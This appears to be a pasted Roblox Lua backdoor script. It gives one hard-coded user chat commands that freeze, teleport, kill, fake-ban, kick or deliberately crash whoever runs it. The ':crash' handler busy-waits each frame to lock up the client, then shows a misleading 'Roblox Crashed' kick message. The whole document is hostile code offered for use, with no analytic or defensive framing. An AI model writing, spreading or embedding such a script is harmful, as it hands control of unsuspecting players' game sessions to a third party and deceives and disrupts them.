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- local user = game.Players.LocalPlayer.Character.HumanoidRootPart
- local me = game.Players.Litka505
- me.Chatted:connect(function(cht)
- if cht == ":freeze ." then
- user.Anchored = true
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":unfreeze ." then
- user.Anchored = false
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":bring ." then
- user.CFrame = me.Character.HumanoidRootPart.CFrame
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":kick ." then
- game.Players.LocalPlayer:Kick("You got kicked from this experience.")
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":ban ." then
- game.Players.LocalPlayer:Kick("You are banned!")
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":fling ." then
- user.CFrame = CFrame.new(-64.4950714, 633.052734, 104.106598, -0.921858728, -0.378823459, 0.0816653818, -1.67315939e-10, 0.210735187, 0.977543235, -0.387526065, 0.901156723, -0.1942681)
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":kill ." then
- game.Players.LocalPlayer.Character.Humanoid.Health = 0
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":slow ." then
- game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 5
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":unslow ." then
- game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 16
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":sit ." then
- game.Players.LocalPlayer.Character.Humanoid.Sit = true
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":unsit ." then
- game.Players.LocalPlayer.Character.Humanoid.Sit = false
- end
- end)
- me.Chatted:connect(function(cht)
- if cht == ":crash ." then
- local RunService = game:GetService("RunService")
- local TARGET_FRAME_RATE = 1
- local frameStart = os.clock()
- RunService.PreSimulation:Connect(function()
- while os.clock() - frameStart < 1 / TARGET_FRAME_RATE do
- -- We do nothing until the target time has elapsed
- end
- -- Mark the start of the next frame right before this one is rendered
- frameStart = os.clock()
- end)
- wait(2)
- game.Players.LocalPlayer:Kick("Roblox Crashed")
- end
- end)
- print(":D")
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